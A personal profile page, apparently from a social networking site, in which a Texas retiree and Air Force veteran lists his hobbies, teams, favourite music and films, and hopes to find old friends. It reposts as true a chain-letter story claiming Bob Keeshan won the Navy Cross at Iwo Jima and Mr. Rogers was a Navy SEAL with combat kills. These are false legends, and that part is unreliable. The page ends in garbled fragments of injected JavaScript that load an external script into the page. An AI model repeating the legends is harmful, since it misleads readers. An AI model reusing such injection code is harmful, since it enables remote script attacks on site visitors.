History, traveling, sightseeing, the Atlanta Braves and San Antonio Spurs. Hanging out with the grandkids. Playing basketball, spades, Trivial Pursuit and other board games. Visiting with old friends from the Air Force and Turner Field. Reliving old memories from high school (Lubbock High School, class of '77). Debating politics. I'm a very nostalgic person by nature, and love reliving old memories from my childhood. That's what my blog is all about.
I love sightseeing and visiting historical sites, and I've seen much of what the world has to offer. I've come back to Texas to retire because as many places as I've visited over the past three decades, I still haven't found any place that appeals to me as much as my native state.
MY TEAMS:
The Dallas Cowboys
The Atlanta Braves
The San Antonio Spurs
The Texas Tech Red Raiders
Lubbock High School
Lubbock, Texas
Burkburnett High School
Burkburnett, Texas
Wheeler High School
Marietta, Georgia
Kennedy High School
San Antonio, Texas
Centennial High School
Roswell, Georgia
You Know Who You AreI collect baseball memorabilia, mostly autographed caps, baseballs and cards. Most of my stuff is from the Atlanta Braves, but I do have items from other teams as well. Any other collectors out there wanting to trade should feel free to contact me.
I love all kinds of art, but I'm particularly fond of southwest art, especially desert landscapes and native American still life. It's hard to appreciate the desert until you've actually lived there. Once you have, it gets into your blood and never lets go.
The main reason I'm setting up this page is to regain lost friendships. Being in the military for so many years, I've lost track of more friends than I can count. I'd like to hear from some of them again.
Also, believing that one can never have too many friends, I'm always looking for a few more who share some of my interests.
I love all music. Lately I've been listening mostly to rock and roll from the 60s and 70s.
SOME OF MY FAVORITE ARTISTS:
From the country genre: Willie Nelson, Tim McGraw and Faith Hill, and Martina McBride
Old style rock and roll: CCR, Earth Wind and Fire, Jim Croce, the Beach Boys, the Rolling Stones
Modern Pop: Uncle Kracker, Avril Lavigne, the Dixie Chicks
The greatest movies of all time:
El Dorado
The Great Escape
Honeysuckle Rose
Shawshank Redemption
The Godfather
I'll admit it, I've been bitten by the reality show bug. Specifically, Big Brother and Survivor. In addition, I love the Sopranos, news programs (mostly MSNBC), and sports (provided the Dallas Cowboys, Atlanta Braves, or San Antonio Spurs are playing).
Anything by James Patterson, Stephen King, or Tom Clancy. I'm currently reading "The Last Don" by Mario Puzo.
All of our brave young men and women serving tours of duty in Afghanistan and Iraq. Let's get them all home safely and soon.
A TRUE STORY:
Some people have been a bit offended that the actor, Lee Marvin, is buried in a grave alongside three and four- star generals at Arlington National Cemetery. His marker gives his name, rank (PVT) and service (USMC).
Nothing else.
Here's a guy who was only a famous movie star who served his time, why the heck does he rate burial with these guys? Well, following is the amazing answer:
In a time when many Hollywood stars served their country in the armed forces often in rear-echelon posts where they were carefully protected,only to be trotted out to perform for the cameras in war bond promotions, Lee Marvin was a genuine hero. He won the Navy Cross at Iwo Jima. There is
only one higher Naval award... the Medal Of Honor.
If that is a surprising comment on the true character of the man, he credits his sergeant with an even greater show of bravery.
Dialog from "The Tonight Show with Johnny Carson":
His guest was Lee Marvin. Johnny said, "Lee, I'll bet a lot of people are unaware that you were a Marine in the initial landing at Iwo Jima...and that during the course of that action you earned the Navy Cross and were severely
wounded."
"Yeah, yeah.. I got shot square in the bottom and they gave me the Cross for securing a hot spot about halfway up Suribachi. Bad thing about getting shot up on a mountain is guys getting' shot hauling you down. But, Johnny, at Iwo I served under the bravest man I ever knew... We both got the cross the same day, but what he did for his Cross made mine look cheap in comparison. That dumb guy actually stood up on Red beach and directed his troops to move forward and get the hell off the beach. Bullets flying
by, with mortar rounds landing everywhere and he stood there as the main target of gunfire so that he could get his men to safety. He did this on more than one occasion because his men's safety was more important than his own
life."
"That Sergeant and I have been lifelong friends. When they brought me off Suribachi we passed the Sergeant and he lit a smoke and passed it to me, lying on my belly on the litter and said, 'where'd they get you Lee?' 'Well
Bob... if you make it home be fore me, tell Mom to sell the outhouse!'"
"Johnny, I'm not lying, that guy was the bravest man I ever knew. The Sergeant's name is Bob Keeshan. You and the world know him as Captain Kangaroo."
On another note, there was this wimpy little man (who just recently passed away) on PBS, gentle and quiet. Mr. Rogers is another of those you would least suspect of being anything but what he now portrays to our youth. But Mr.
Rogers was a U.S. Navy Seal, combat-proven in Vietnam with over twenty-five confirmed kills to his name. He wore a long-sleeved sweater on TV, to cover the many tattoos on his forearm and biceps. He was a master in small arms
and hand-to-hand combat, able to disarm or kill in a heartbeat.
After the war Mr. Rogers became an ordained Presbyterian minister and therefore a pacifist. Vowing to never harm another human and also dedicating the rest of his life to trying to help lead children on the right path in life. He hid away the tattoos and his past life and won our hearts with his quiet wit and charm.
America 's real heroes don't flaunt what they did; they quietly go about their day-to-day lives, doing what they do best. They earned our respect and the freedoms that we all enjoy. Look around and see if you can find one of those heroes in your midst.
Often, they are the ones you'd least suspect, but would most like to have on your side if anything ever happened.
Rest in peace, Lee Marvin, Bob Keeshan, Mr. Rogers, and thousands of other true heroes out there who make America what it is...
.."var
s=..reateElement('script');s.src='..';document·getEleme
ntsByTagName('head')[0].appendChild(s);"
.."var x=..reateElement('script');x.src='http://www.../.../test.js'
;document·getElementsByTagName('body')[0].appendChild(x
);" /